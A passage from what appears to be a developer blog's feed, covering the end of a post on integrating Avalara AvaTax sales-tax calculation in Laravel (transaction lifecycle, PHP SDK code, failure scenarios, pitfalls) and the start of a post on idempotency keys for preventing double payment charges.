  <text class="t" x="175" y="106" text-anchor="middle" fill="#fff">City</text>
  <text class="t" x="175" y="120" text-anchor="middle" fill="#fff">Special district</text>

  <path d="M340 115 H400" stroke="#1d4ed8" stroke-width="1.8" />
  <rect x="400" y="70" width="270" height="90" rx="8" fill="#f0fdf4" stroke="#86efac" />
  <text class="h" x="416" y="92" fill="#15803d">One combined rate</text>
  <text class="n" x="416" y="112">State 6.0% + County 0.5%</text>
  <text class="n" x="416" y="128">+ City 1.0% + District 0.25%</text>
  <text class="t" x="416" y="150">= 7.75% for this exact address</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Every layer can change independently — a city can raise its rate without the state or county changing anything. Hardcoding one number per state is wrong by construction.</figcaption>
</figure>

<hr />

<h2 id="2-where-a-tax-engine-fits-in-your-architecture">2. Where a tax engine fits in your architecture</h2>

<p>You never calculate tax yourself in a production system of any size — you delegate it, the same way you delegate card processing to a payment gateway rather than talking to card networks directly. Avalara’s <strong>AvaTax</strong> service is the calculation engine; <strong>CertCapture</strong> manages exemption certificates; <strong>Returns</strong> handles filing and remittance.</p>

<figure>
<svg viewBox="0 0 700 260" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Checkout flow: application validates the address, then calls AvaTax to calculate tax, shows the total to the customer, then commits the transaction on order confirmation. CertCapture supplies exemption certificate status. Returns periodically files and remits the committed transactions to each jurisdiction.">
  <style>
    .h{font:700 12.5px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .n{font:10px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
  </style>
  <defs>
    <marker id="ax1" markerWidth="9" markerHeight="9" refX="5" refY="2.5" orient="auto"><path d="M0,0 L5,2.5 L0,5 Z" fill="#1d4ed8" /></marker>
    <marker id="ax2" markerWidth="9" markerHeight="9" refX="5" refY="2.5" orient="auto"><path d="M0,0 L5,2.5 L0,5 Z" fill="#15803d" /></marker>
  </defs>

  <rect x="10" y="20" width="140" height="60" rx="8" fill="#eff6ff" stroke="#93c5fd" />
  <text class="t" x="80" y="46" text-anchor="middle">Checkout</text>
  <text class="n" x="80" y="62" text-anchor="middle">your app</text>

  <path d="M150 50 H190" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#ax1)" />
  <rect x="190" y="20" width="160" height="60" rx="8" fill="#dbeafe" stroke="#60a5fa" />
  <text class="t" x="270" y="42" text-anchor="middle">AvaTax</text>
  <text class="n" x="270" y="58" text-anchor="middle">address validate + calculate</text>
  <text class="n" x="270" y="70" text-anchor="middle">(uncommitted estimate)</text>

  <path d="M350 50 H390" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#ax1)" />
  <rect x="390" y="20" width="150" height="60" rx="8" fill="#dcfce7" stroke="#4ade80" />
  <text class="t" x="465" y="46" text-anchor="middle">Order total shown</text>
  <text class="n" x="465" y="62" text-anchor="middle">customer confirms + pays</text>

  <path d="M465 80 V110" stroke="#15803d" stroke-width="1.8" marker-end="url(#ax2)" />
  <rect x="390" y="110" width="150" height="60" rx="8" fill="#bbf7d0" stroke="#22c55e" />
  <text class="t" x="465" y="136" text-anchor="middle">Commit transaction</text>
  <text class="n" x="465" y="152" text-anchor="middle">now it's a real, filed record</text>

  <path d="M270 80 V200" stroke="#94a3b8" stroke-width="1.5" stroke-dasharray="4 3" />
  <rect x="190" y="200" width="160" height="50" rx="8" fill="#fef9c3" stroke="#eab308" />
  <text class="t" x="270" y="222" text-anchor="middle">CertCapture</text>
  <text class="n" x="270" y="238" text-anchor="middle">exemption certificate on file?</text>
  <path d="M270 200 V80" stroke="#94a3b8" stroke-width="1.5" stroke-dasharray="4 3" marker-end="url(#ax1)" />

  <path d="M465 170 V230" stroke="#15803d" stroke-width="1.8" marker-end="url(#ax2)" />
  <rect x="390" y="230" width="150" height="26" rx="6" fill="#f0fdf4" stroke="#86efac" />
  <text class="n" x="465" y="247" text-anchor="middle">Returns: files + remits, monthly/quarterly</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Calculation happens per-order, in real time. Filing happens later, in a batch, against whatever was committed — which is why "commit" is the step that actually matters for compliance.</figcaption>
</figure>

<hr />

<h2 id="3-the-transaction-lifecycle-estimate-commit-adjust">3. The transaction lifecycle: estimate, commit, adjust</h2>

<p>This is the single most misunderstood part of any tax API, and the source of most integration bugs.</p>

<ol>
  <li><strong>Estimate (uncommitted)</strong> — you call the calculate endpoint while the customer is still on the checkout page, to show them a total. This transaction is <strong>not</strong> counted toward filing. You can call it as many times as you want (address changes, cart changes) with no consequence.</li>
  <li><strong>Commit</strong> — once the order is actually placed and paid, you commit the transaction. <em>Only now</em> does it become part of what gets filed and remitted to jurisdictions. An order that is never committed is an order the tax engine doesn’t know exists.</li>
  <li><strong>Adjust / void / refund</strong> — if the order changes after committing (partial refund, cancellation), you don’t edit the original record — you void it (if nothing should have happened) or post a new <strong>refund/credit transaction</strong> referencing it (if some tax was legitimately collected and must be legitimately returned). This mirrors double-entry accounting: correct forward, never edit history.</li>
</ol>

<figure>
<svg viewBox="0 0 680 170" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Left to right: Estimate uncommitted, not used for filing, then Commit on order confirmation which is now filing data, branching to Void before fulfillment with no filing impact, or Refund after fulfillment which creates a new offsetting transaction.">
  <style>
    .t{font:600 11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .n{font:10px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
  </style>
  <defs>
    <marker id="ay1" markerWidth="9" markerHeight="9" refX="5" refY="2.5" orient="auto"><path d="M0,0 L5,2.5 L0,5 Z" fill="#1d4ed8" /></marker>
  </defs>
  <rect x="10" y="15" width="150" height="60" rx="8" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="t" x="85" y="40" text-anchor="middle">Estimate</text>
  <text class="n" x="85" y="56" text-anchor="middle">uncommitted, no filing</text>

  <path d="M160 45 H195" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#ay1)" />
  <rect x="195" y="15" width="150" height="60" rx="8" fill="#dcfce7" stroke="#4ade80" />
  <text class="t" x="270" y="40" text-anchor="middle">Commit</text>
  <text class="n" x="270" y="56" text-anchor="middle">now = real filing data</text>

  <path d="M345 45 H380" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#ay1)" />

  <rect x="380" y="15" width="140" height="55" rx="8" fill="#fee2e2" stroke="#fca5a5" />
  <text class="t" x="450" y="38" text-anchor="middle">Void</text>
  <text class="n" x="450" y="54" text-anchor="middle">before fulfillment, erases it</text>

  <path d="M345 45 V115" stroke="#1d4ed8" stroke-width="1.8" />
  <path d="M345 115 H380" stroke="#1d4ed8" stroke-width="1.8" marker-end="url(#ay1)" />
  <rect x="380" y="90" width="140" height="55" rx="8" fill="#fef9c3" stroke="#eab308" />
  <text class="t" x="450" y="113" text-anchor="middle">Refund</text>
  <text class="n" x="450" y="129" text-anchor="middle">new offsetting transaction</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Voiding removes a transaction that never should have counted. Refunding after commit always adds a new record — it never rewrites the old one.</figcaption>
</figure>

<hr />

<h2 id="4-code-level-integrating-avatax">4. Code-level: integrating AvaTax</h2>

<p>A minimal Laravel-side integration using Avalara’s official PHP SDK (<code class="language-plaintext highlighter-rouge">avalara/avataxclient</code>). The important details are the <strong>transaction code</strong> (your idempotency key), <code class="language-plaintext highlighter-rouge">commit</code>, and <code class="language-plaintext highlighter-rouge">type</code>.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">use</span> <span class="nc">Avalara\AvaTaxClient</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Avalara\CreateTransactionModel</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Avalara\LineItemModel</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Avalara\AddressLocationInfo</span><span class="p">;</span>

<span class="nv">$client</span> <span class="o">=</span> <span class="p">(</span><span class="k">new</span> <span class="nc">AvaTaxClient</span><span class="p">(</span><span class="s1">'MyApp'</span><span class="p">,</span> <span class="s1">'1.0'</span><span class="p">,</span> <span class="s1">'my-machine'</span><span class="p">,</span> <span class="s1">'production'</span><span class="p">))</span>
    <span class="o">-&gt;</span><span class="nf">withSecurity</span><span class="p">(</span><span class="nf">config</span><span class="p">(</span><span class="s1">'services.avalara.account_id'</span><span class="p">),</span> <span class="nf">config</span><span class="p">(</span><span class="s1">'services.avalara.license_key'</span><span class="p">));</span>

<span class="c1">// Step 1 — estimate at checkout (uncommitted)</span>
<span class="nv">$estimate</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CreateTransactionModel</span><span class="p">();</span>
<span class="nv">$estimate</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">=</span> <span class="s1">'SalesOrder'</span><span class="p">;</span>        <span class="c1">// uncommitted — never filed</span>
<span class="nv">$estimate</span><span class="o">-&gt;</span><span class="n">companyCode</span> <span class="o">=</span> <span class="s1">'MYCOMPANY'</span><span class="p">;</span>
<span class="nv">$estimate</span><span class="o">-&gt;</span><span class="n">date</span> <span class="o">=</span> <span class="nf">now</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">toDateString</span><span class="p">();</span>
<span class="nv">$estimate</span><span class="o">-&gt;</span><span class="n">customerCode</span> <span class="o">=</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">customer_id</span><span class="p">;</span>
<span class="nv">$estimate</span><span class="o">-&gt;</span><span class="n">addresses</span> <span class="o">=</span> <span class="p">[</span>
    <span class="s1">'shipFrom'</span> <span class="o">=&gt;</span> <span class="k">new</span> <span class="nc">AddressLocationInfo</span><span class="p">([</span><span class="s1">'line1'</span> <span class="o">=&gt;</span> <span class="s1">'100 Warehouse Rd'</span><span class="p">,</span> <span class="s1">'city'</span> <span class="o">=&gt;</span> <span class="s1">'Austin'</span><span class="p">,</span> <span class="s1">'region'</span> <span class="o">=&gt;</span> <span class="s1">'TX'</span><span class="p">,</span> <span class="s1">'postalCode'</span> <span class="o">=&gt;</span> <span class="s1">'78701'</span><span class="p">,</span> <span class="s1">'country'</span> <span class="o">=&gt;</span> <span class="s1">'US'</span><span class="p">]),</span>
    <span class="s1">'shipTo'</span>   <span class="o">=&gt;</span> <span class="k">new</span> <span class="nc">AddressLocationInfo</span><span class="p">([</span><span class="s1">'line1'</span> <span class="o">=&gt;</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">address</span><span class="p">,</span> <span class="s1">'city'</span> <span class="o">=&gt;</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">city</span><span class="p">,</span> <span class="s1">'region'</span> <span class="o">=&gt;</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">,</span> <span class="s1">'postalCode'</span> <span class="o">=&gt;</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">zip</span><span class="p">,</span> <span class="s1">'country'</span> <span class="o">=&gt;</span> <span class="s1">'US'</span><span class="p">]),</span>
<span class="p">];</span>
<span class="nv">$estimate</span><span class="o">-&gt;</span><span class="n">lines</span> <span class="o">=</span> <span class="nf">collect</span><span class="p">(</span><span class="nv">$order</span><span class="o">-&gt;</span><span class="n">items</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">map</span><span class="p">(</span><span class="k">fn</span> <span class="p">(</span><span class="nv">$item</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="k">new</span> <span class="nc">LineItemModel</span><span class="p">([</span>
    <span class="s1">'number'</span>      <span class="o">=&gt;</span> <span class="p">(</span><span class="n">string</span><span class="p">)</span> <span class="nv">$item</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">,</span>
    <span class="s1">'quantity'</span>    <span class="o">=&gt;</span> <span class="nv">$item</span><span class="o">-&gt;</span><span class="n">qty</span><span class="p">,</span>
    <span class="s1">'amount'</span>      <span class="o">=&gt;</span> <span class="nv">$item</span><span class="o">-&gt;</span><span class="n">total</span><span class="p">,</span>
    <span class="s1">'taxCode'</span>     <span class="o">=&gt;</span> <span class="nv">$item</span><span class="o">-&gt;</span><span class="n">tax_code</span><span class="p">,</span>       <span class="c1">// e.g. "PC030000" for computers</span>
    <span class="s1">'itemCode'</span>    <span class="o">=&gt;</span> <span class="nv">$item</span><span class="o">-&gt;</span><span class="n">sku</span><span class="p">,</span>
<span class="p">]))</span><span class="o">-&gt;</span><span class="nf">all</span><span class="p">();</span>

<span class="nv">$preview</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-&gt;</span><span class="nf">createTransaction</span><span class="p">([],</span> <span class="nv">$estimate</span><span class="p">);</span>
<span class="c1">// show $preview-&gt;totalTax to the customer before they pay</span>

<span class="c1">// Step 2 — commit once the order is actually placed and paid</span>
<span class="nv">$final</span> <span class="o">=</span> <span class="k">clone</span> <span class="nv">$estimate</span><span class="p">;</span>
<span class="nv">$final</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">=</span> <span class="s1">'SalesInvoice'</span><span class="p">;</span>          <span class="c1">// becomes real filing data</span>
<span class="nv">$final</span><span class="o">-&gt;</span><span class="n">code</span> <span class="o">=</span> <span class="s1">'ORDER-'</span> <span class="mf">.</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">;</span>   <span class="c1">// idempotency key: retrying with the same code updates, never duplicates</span>
<span class="nv">$final</span><span class="o">-&gt;</span><span class="n">commit</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>

<span class="nv">$committed</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-&gt;</span><span class="nf">createTransaction</span><span class="p">([],</span> <span class="nv">$final</span><span class="p">);</span>
<span class="nv">$order</span><span class="o">-&gt;</span><span class="n">avatax_doc_code</span> <span class="o">=</span> <span class="nv">$committed</span><span class="o">-&gt;</span><span class="n">code</span><span class="p">;</span>
<span class="nv">$order</span><span class="o">-&gt;</span><span class="nf">save</span><span class="p">();</span>
</code></pre></div></div>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Refunding a partial amount later — never edit the committed record</span>
<span class="kn">use</span> <span class="nc">Avalara\RefundTransactionModel</span><span class="p">;</span>

<span class="nv">$refund</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">RefundTransactionModel</span><span class="p">();</span>
<span class="nv">$refund</span><span class="o">-&gt;</span><span class="n">refundType</span> <span class="o">=</span> <span class="s1">'Partial'</span><span class="p">;</span>
<span class="nv">$refund</span><span class="o">-&gt;</span><span class="n">refundPercentage</span> <span class="o">=</span> <span class="mf">50.0</span><span class="p">;</span>        <span class="c1">// or specific line refs for line-level partials</span>
<span class="nv">$refund</span><span class="o">-&gt;</span><span class="n">referenceCode</span> <span class="o">=</span> <span class="s1">'ORDER-'</span> <span class="mf">.</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">;</span>

<span class="nv">$client</span><span class="o">-&gt;</span><span class="nf">refundTransaction</span><span class="p">([],</span> <span class="s1">'MYCOMPANY'</span><span class="p">,</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">avatax_doc_code</span><span class="p">,</span> <span class="p">[],</span> <span class="nv">$refund</span><span class="p">);</span>
</code></pre></div></div>

<p>The two lines that matter most for correctness are <code class="language-plaintext highlighter-rouge">type</code> (<code class="language-plaintext highlighter-rouge">SalesOrder</code> never files; <code class="language-plaintext highlighter-rouge">SalesInvoice</code> + <code class="language-plaintext highlighter-rouge">commit = true</code> does) and <code class="language-plaintext highlighter-rouge">code</code> (Avalara treats a repeated <code class="language-plaintext highlighter-rouge">code</code> as an update to the same transaction, not a new one — this is your protection against double-filing on a retried request, exactly like an idempotency key on a payment charge).</p>

<hr />

<h2 id="5-real-world-failure-scenarios">5. Real-world failure scenarios</h2>

<p><strong>1. Address not validated → wrong jurisdiction, wrong rate.</strong>
A customer types “123 Main St, Springfield” and the app geocodes it to the wrong Springfield, or to a point just across a city line from the real delivery address. Tax is calculated for the wrong jurisdiction — undercharging (you now owe the difference) or overcharging (a customer complaint, or a false-claims risk in some states). <strong>Fix:</strong> always run the address through AvaTax’s own address validation/resolution before calculating tax — don’t trust free-text or third-party geocoding for tax purposes; jurisdiction boundaries rarely match ZIP codes or even city limits.</p>

<p><strong>2. Transactions calculated but never committed.</strong>
A team builds checkout, tests it, ships it — and only ever calls the <em>estimate</em> endpoint, because that’s what returns the number shown to the customer. Nobody adds the commit call for confirmed orders. Tax is being <em>shown and collected</em> from customers correctly, but from Avalara’s point of view, nothing was ever sold — so nothing gets filed or remitted. Months of collected tax sits uncounted until an audit or a reconciliation catches it. <strong>Fix:</strong> commit is not optional cleanup — treat “order confirmed, no committed AvaTax transaction” as a hard error state, alerted on immediately, the same way you’d alert on “payment captured, no ledger entry.”</p>

<p><strong>3. Economic nexus crossed silently.</strong>
A company starts shipping into a new state. Nobody is watching cumulative revenue or order count against that state’s economic nexus threshold (commonly $100,000 or 200 transactions/year, per <em>South Dakota v. Wayfair</em>). Eighteen months later, the state notices the volume and demands back taxes, penalties, and interest — on sales the company never collected tax for in the first place, because nobody registered until it was too late. <strong>Fix:</strong> track cumulative sales per jurisdiction and alert <em>before</em> thresholds are crossed — Avalara’s nexus tracking service does this automatically, but only if it’s actually wired into your order pipeline, not bolted on after the fact.</p>

<p><strong>4. Exemption certificate not linked before the sale.</strong>
A B2B customer places a large order and tells support “we’re tax-exempt, we sent the certificate over email.” Support marks the customer as exempt in a spreadsheet, but the order was already placed and tax was calculated (or not calculated) without that exemption being registered against the customer code in the tax engine. On audit, the jurisdiction asks for the certificate tied to <em>that specific transaction</em> — a spreadsheet note doesn’t satisfy that; the seller ends up owing the uncollected tax out of pocket. <strong>Fix:</strong> exemption status must be attached to the customer record <em>in the tax engine</em> (CertCapture or equivalent) before the order is calculated, not applied retroactively as a discount.</p>

<p><strong>5. Locally cached tax rates go stale.</strong>
To cut latency or API costs, a team caches jurisdiction rates in their own database and stops calling the calculation API for repeat customers in the same ZIP code. A state raises its rate on the 1st of a quarter. The cache isn’t invalidated. For weeks, the company undercollects tax on every order in that jurisdiction — a gap it now owes out of margin, discovered only when the next filing period’s numbers don’t reconcile. <strong>Fix:</strong> call the calculation API per order, every time — that’s the entire point of paying for the service. If latency is a real concern, cache validated <em>addresses</em>, never <em>rates</em>.</p>

<hr />

<h2 id="common-pitfalls">Common pitfalls</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Pitfall</th>
        <th>Why it hurts</th>
        <th>Fix</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Treating tax as a flat percentage per state</strong></td>
        <td>Ignores county/city/district layers and product-specific tax codes</td>
        <td>Always calculate per-address, per-line-item, via the API</td>
      </tr>
      <tr>
        <td><strong>Calling estimate but never committing</strong></td>
        <td>Tax is collected from customers but never filed — invisible until audit</td>
        <td>Alert on “confirmed order, no committed transaction” as a hard failure</td>
      </tr>
      <tr>
        <td><strong>No nexus monitoring</strong></td>
        <td>Economic nexus can be crossed without any physical presence, unnoticed</td>
        <td>Track cumulative revenue/transactions per jurisdiction proactively</td>
      </tr>
      <tr>
        <td><strong>Exemptions applied as a manual discount</strong></td>
        <td>No certificate on file tied to the transaction at audit time</td>
        <td>Register certificates in the tax engine before the order is calculated</td>
      </tr>
      <tr>
        <td><strong>Caching tax rates instead of addresses</strong></td>
        <td>Rates change; a stale cache silently undercollects for weeks</td>
        <td>Cache validated addresses only, call calculate live every time</td>
      </tr>
      <tr>
        <td><strong>Editing a committed transaction directly</strong></td>
        <td>Breaks the audit trail a jurisdiction expects to reconstruct history from</td>
        <td>Void (pre-fulfillment) or refund (post-fulfillment) as new records</td>
      </tr>
      <tr>
        <td><strong>No idempotency key on the commit call</strong></td>
        <td>A retried request creates a duplicate filed transaction</td>
        <td>Use a stable <code class="language-plaintext highlighter-rouge">code</code> (e.g. your order ID) on every transaction</td>
      </tr>
    </tbody>
  </table>

</div>

<hr />

<h2 id="a-five-point-summary">A five-point summary</h2>

<ol>
  <li><strong>Tax depends on jurisdiction <em>and</em> product</strong> — the same address taxes different product categories differently, so both the address and the tax code have to reach the calculation call.</li>
  <li><strong>Estimate and commit are different operations</strong> — only committed transactions are filed and remitted; an uncommitted estimate is invisible to compliance.</li>
  <li><strong>Nexus can be crossed by volume alone</strong> — no warehouse or employee required, and it must be actively monitored, not assumed away.</li>
  <li><strong>Exemptions live in the tax engine, not a spreadsheet</strong> — a certificate has to be on file <em>before</em> the sale to protect you on audit.</li>
  <li><strong>Corrections are new transactions, never edits</strong> — void before fulfillment, refund after, exactly like double-entry accounting.</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Sales tax integration looks like a rounding-error problem and turns out to be a distributed-compliance problem: thousands of jurisdictions, product-specific rules, thresholds that trigger obligations without warning, and an audit trail that has to survive years of scrutiny. A service like Avalara doesn’t remove that complexity — it centralizes it behind one API, the same way a payment gateway centralizes card network complexity. Your job as the integrating engineer is narrower than it looks: validate the address, send the right tax codes, commit real orders and only real orders, keep exemption certificates current before the sale, and never edit history — correct it forward instead. Get those five things right, and the 13,000-jurisdiction problem becomes someone else’s API response.</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Tax" /><summary type="html"><![CDATA[A short, diagram-led primer on sales tax for engineers wiring up Avalara — nexus, jurisdictions, tax codes, exemption certificates, the calculate-commit-file lifecycle, real failure scenarios, and code examples. A 10–15 minute read.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Idempotency in Payment Systems: How to Stop Double Charges Caused by Retries and Network Failures</title><link href="https://milandawijekoon.github.io/blog/idempotency-in-payment-systems/" rel="alternate" type="text/html" title="Idempotency in Payment Systems: How to Stop Double Charges Caused by Retries and Network Failures" /><published>2026-09-23T00:00:00+00:00</published><updated>2026-09-23T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/idempotency-in-payment-systems</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/idempotency-in-payment-systems/"><![CDATA[<p>A customer taps <strong>Pay</strong>. The spinner turns for eight seconds. Nothing happens, so they tap again. Two minutes later their bank app shows <strong>two</strong> charges of LKR 5,000, and your support inbox gets an angry email.</p>

<p>Nobody wrote a bug that says “charge twice”. The duplicate came from something ordinary: a slow network, a retry, an impatient thumb. Any system that moves money over a network <strong>will</strong> see the same request more than once. The question is whether it charges more than once.</p>

<p>The fix is <strong>idempotency</strong>. This note explains why duplicates happen, walks through real failure scenarios, and then builds an idempotency layer step by step in Laravel.</p>

<p>If you are new to how online payments flow, read <a href="/blog/payment-gateways-explained-laravel/">Payment Gateways Explained</a> first.</p>

<hr />

<h2 id="what-idempotent-means">What “idempotent” means</h2>

<p>An operation is <strong>idempotent</strong> if doing it once or doing it many times gives the same result.</p>

<ul>
  <li>Pressing a lift’s call button five times still calls the lift once. That’s idempotent.</li>
  <li><code class="language-plaintext highlighter-rouge">SET balance = balance - 100</code> takes more money every time it runs. <strong>Not</strong> idempotent.</li>
</ul>

<p>HTTP <code class="language-plaintext highlighter-rouge">GET</code>, <code class="language-plaintext highlighter-rouge">PUT</code> and <code class="language-plaintext highlighter-rouge">DELETE</code> are supposed to be idempotent. <code class="language-plaintext highlighter-rouge">POST</code> is not, and <code class="language-plaintext highlighter-rouge">POST /payments</code> is where the money moves. So we have to <strong>make</strong> it idempotent ourselves.</p>

<figure>
<svg viewBox="0 0 680 250" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Comparison. Without idempotency, three POST /pay requests create three charges. With the same idempotency key on all three, only the first creates a charge and the other two replay the saved result.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .m{font:12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .s{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#334155;}
  </style>
  <defs>
    <marker id="i1r" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L10,5 L0,10 z" fill="#f87171" /></marker>
    <marker id="i1g" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L10,5 L0,10 z" fill="#4ade80" /></marker>
    <marker id="i1s" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L10,5 L0,10 z" fill="#94a3b8" /></marker>
  </defs>

  <rect x="1" y="1" width="329" height="248" rx="10" fill="#fef2f2" stroke="#fecaca" />
  <text class="h" x="16" y="26" fill="#b91c1c">✗  Without idempotency</text>
  <g>
    <rect x="20" y="44" width="120" height="40" rx="7" fill="#fff" stroke="#fca5a5" />
    <text class="m" x="80" y="61" text-anchor="middle">POST /pay</text>
    <text class="n" x="80" y="77" text-anchor="middle">no key</text>
    <rect x="20" y="94" width="120" height="40" rx="7" fill="#fff" stroke="#fca5a5" />
    <text class="m" x="80" y="111" text-anchor="middle">POST /pay</text>
    <text class="n" x="80" y="127" text-anchor="middle">retry</text>
    <rect x="20" y="144" width="120" height="40" rx="7" fill="#fff" stroke="#fca5a5" />
    <text class="m" x="80" y="161" text-anchor="middle">POST /pay</text>
    <text class="n" x="80" y="177" text-anchor="middle">retry</text>
    <path d="M140 64 H186 M140 114 H186 M140 164 H186" stroke="#f87171" stroke-width="1.5" marker-end="url(#i1r)" />
    <rect x="190" y="44" width="120" height="40" rx="7" fill="#fee2e2" stroke="#fca5a5" />
    <text class="t" x="250" y="69" text-anchor="middle">Charge 5,000</text>
    <rect x="190" y="94" width="120" height="40" rx="7" fill="#fee2e2" stroke="#fca5a5" />
    <text class="t" x="250" y="119" text-anchor="middle">Charge 5,000</text>
    <rect x="190" y="144" width="120" height="40" rx="7" fill="#fee2e2" stroke="#fca5a5" />
    <text class="t" x="250" y="169" text-anchor="middle">Charge 5,000</text>
  </g>
  <text class="h" x="16" y="214" fill="#b91c1c">3 requests → 3 charges</text>
  <text class="n" x="16" y="234">The customer pays LKR 15,000.</text>

  <rect x="350" y="1" width="329" height="248" rx="10" fill="#f0fdf4" stroke="#bbf7d0" />
  <text class="h" x="366" y="26" fill="#15803d">✓  With an idempotency key</text>
  <g>
    <rect x="370" y="44" width="120" height="40" rx="7" fill="#fff" stroke="#86efac" />
    <text class="m" x="430" y="61" text-anchor="middle">POST /pay</text>
    <text class="n" x="430" y="77" text-anchor="middle">key: 7c9e…</text>
    <rect x="370" y="94" width="120" height="40" rx="7" fill="#fff" stroke="#86efac" />
    <text class="m" x="430" y="111" text-anchor="middle">POST /pay</text>
    <text class="n" x="430" y="127" text-anchor="middle">key: 7c9e…</text>
    <rect x="370" y="144" width="120" height="40" rx="7" fill="#fff" stroke="#86efac" />
    <text class="m" x="430" y="161" text-anchor="middle">POST /pay</text>
    <text class="n" x="430" y="177" text-anchor="middle">key: 7c9e…</text>
    <path d="M490 64 H536" stroke="#4ade80" stroke-width="1.5" marker-end="url(#i1g)" />
    <path d="M490 114 H536 M490 164 H536" stroke="#94a3b8" stroke-width="1.5" stroke-dasharray="4 3" marker-end="url(#i1s)" />
    <rect x="540" y="44" width="125" height="40" rx="7" fill="#dcfce7" stroke="#86efac" />
    <text class="t" x="602" y="69" text-anchor="middle">Charge 5,000</text>
    <rect x="540" y="94" width="125" height="40" rx="7" fill="#fff" stroke="#cbd5e1" stroke-dasharray="4 3" />
    <text class="s" x="602" y="119" text-anchor="middle">Replay saved result</text>
    <rect x="540" y="144" width="125" height="40" rx="7" fill="#fff" stroke="#cbd5e1" stroke-dasharray="4 3" />
    <text class="s" x="602" y="169" text-anchor="middle">Replay saved result</text>
  </g>
  <text class="h" x="366" y="214" fill="#15803d">3 requests → 1 charge</text>
  <text class="n" x="366" y="234">Retries get the first answer back.</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">The retries still arrive. The difference is that the server recognises them by their key and doesn't charge again.</figcaption>
</figure>

<p>The goal is <strong>not</strong> to stop retries. Retries are how systems recover from failure, so you want them. The goal is to make a retry <strong>safe</strong>.</p>

<hr />

<h2 id="why-duplicates-happen-the-ambiguous-timeout">Why duplicates happen: the ambiguous timeout</h2>

<p>Every network call ends in one of three ways:</p>

<div>

  <table>
    <thead>
      <tr>
        <th>Outcome</th>
        <th>What the caller knows</th>
        <th>Safe to retry blindly?</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Success</strong> response received</td>
        <td>It worked</td>
        <td>No need</td>
      </tr>
      <tr>
        <td><strong>Failure</strong> response received (e.g. card declined)</td>
        <td>It didn’t work</td>
        <td>Yes, as a <em>new</em> attempt</td>
      </tr>
      <tr>
        <td><strong>No response</strong> (timeout, dropped connection, crash)</td>
        <td><strong>Nothing.</strong> It might have worked</td>
        <td><strong>No.</strong> This is where double charges come from</td>
      </tr>
    </tbody>
  </table>

</div>

<p>The third row causes the trouble. A timeout means “I don’t know”, not “it failed”. The request might have died on the way to the server, or the server might have finished the job and the reply was lost on the way back. From the client’s side those two cases look <strong>exactly the same</strong>.</p>

<figure>
